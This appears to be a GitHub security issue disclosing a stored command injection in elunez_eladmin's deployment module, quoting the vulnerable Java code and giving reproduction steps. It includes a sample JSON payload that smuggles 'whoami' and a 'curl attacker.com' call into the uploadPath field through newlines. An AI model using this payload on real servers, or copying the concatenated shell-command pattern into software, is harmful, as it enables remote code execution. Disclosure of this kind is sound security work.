Skip to content

[Secruity] Command Injection via SSH Script Injection in App Management in elunez_eladmin #899

@AnalogyC0de

Description

@AnalogyC0de

[Secruity] Command Injection via SSH Script Injection in App Management in elunez_eladmin

Identification

  • Affected Version: <= v2.7 (2026.04.21)

CVE Description

A second-order stored command injection vulnerability exists in the application deployment module of elunez_eladmin. While remote script execution is an intended deployment feature, the system suffers from insecure implementation and insufficient input validation. Low-privileged users (with app:add or app:edit permissions) can bypass weak prefix validations on non-script configuration fields (such as uploadPath, deployPath, and backupPath) by utilizing shell metacharacters like newlines (\n) or command substitution ($()). Because the system uses direct string concatenation and interactive SSH shells (ChannelShell), these dormant payloads are executed with high privileges when an administrator or automated pipeline later triggers the deployment process, leading to unauthorized Remote Code Execution (RCE) and privilege escalation.

Affected Component

  • File(s):
    • me/zhengjie/modules/maint/domain/App.java
    • me/zhengjie/modules/maint/service/impl/DeployServiceImpl.java
    • me/zhengjie/modules/maint/util/ExecuteShellUtil.java
  • Function / Method: DeployServiceImpl.deployApp(), ExecuteShellUtil.execute()
  • Entry Point: POST /api/app and PUT /api/app (JSON fields: uploadPath, deployPath, backupPath, startScript, deployScript)

Reproduction Summary

  1. [Poisoning Phase - Low Privilege] Authenticate as a limited user with app:add permissions.
  2. [Bypass] Send a POST request to /api/app to create an app configuration. Bypass the path prefix validation by appending shell metacharacters to path fields (e.g., "uploadPath": "/opt/apps\nwhoami\ncurl attacker.com"). The payload is stored in the database.
  3. [Execution Phase - High Privilege] Wait for a system administrator or an automated CI/CD pipeline to trigger the deployment (POST /api/deploy/deploy).
  4. [Impact] The backend concatenates the poisoned path fields into shell commands (e.g., mkdir -p /opt/apps\nwhoami) and executes them via ChannelShell on the remote server, achieving unintended RCE.

Technical Details

1. Insufficient Input Validation (App.java & AppServiceImpl.java)

// me/zhengjie/modules/maint/domain/App.java (Lines 43-62)
@ApiModelProperty(value = "上传路径")
private String uploadPath;  // NO @Pattern validation

@ApiModelProperty(value = "启动脚本")
private String startScript;  // NO validation at all!

@ApiModelProperty(value = "部署脚本")
private String deployScript;  // NO validation at all!
// me/zhengjie/modules/maint/service/impl/AppServiceImpl.java (Lines 91-102)
// Weak path validation - bypassable with newlines or command substitution
if (!(resources.getUploadPath().startsWith(opt) || resources.getUploadPath().startsWith(home))) {
    throw new BadRequestException("文件只能上传在opt目录或者home目录 ");
}

2. Unsafe Command Execution (DeployServiceImpl.java)

// Vulnerability #1: mkdir Command Injection (Line 144-146)
executeShellUtil.execute("mkdir -p " + app.getUploadPath());

// Vulnerability #2: Deploy Script Injection (Line 166)
String deployScript = app.getDeployScript();
executeShellUtil.execute(deployScript);

// Vulnerability #3: Start Script Injection (Line 291, 374)
executeShellUtil.execute(app.getStartScript());

// Vulnerability #4 & #5: rm and cp Command Injection (Lines 369, 372)
executeShellUtil.execute("rm -rf " + deployPath + FILE_SEPARATOR + resources.getAppName());
executeShellUtil.execute("cp -r " + backupPath + "/. " + deployPath);

3. Direct Shell Mechanism (ExecuteShellUtil.java)

// me/zhengjie/modules/maint/util/ExecuteShellUtil.java (Lines 52-64)
public int execute(final String command) {
    // ...
    ChannelShell channel = (ChannelShell) session.openChannel("shell");
    channel.connect();
    printWriter = new PrintWriter(channel.getOutputStream());
    printWriter.println(command);  // Direct shell interpretation!
    printWriter.println("exit");
    printWriter.flush();
    // ...
}

Example Attack Payload (Bypassing Path Validation):

{
  "name": "malicious",
  "uploadPath": "/opt/apps\nwhoami\ncurl attacker.com"
}

Validation Notes

  • Entry Point: Verified at AppController.java:67 (Direct entity binding).
  • Validation: Verified at AppServiceImpl.java:67-102. Partial validation only. No validation on startScript and deployScript fields. Weak path validation on uploadPath (prefix check bypassable with newlines and command substitution).
  • Execution: Verified at DeployServiceImpl.java:144,166,291. Multiple injection points.
  • Sink: Verified at ExecuteShellUtil.java:59. Direct shell execution via ChannelShell confirms Command Injection (CWE-77).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions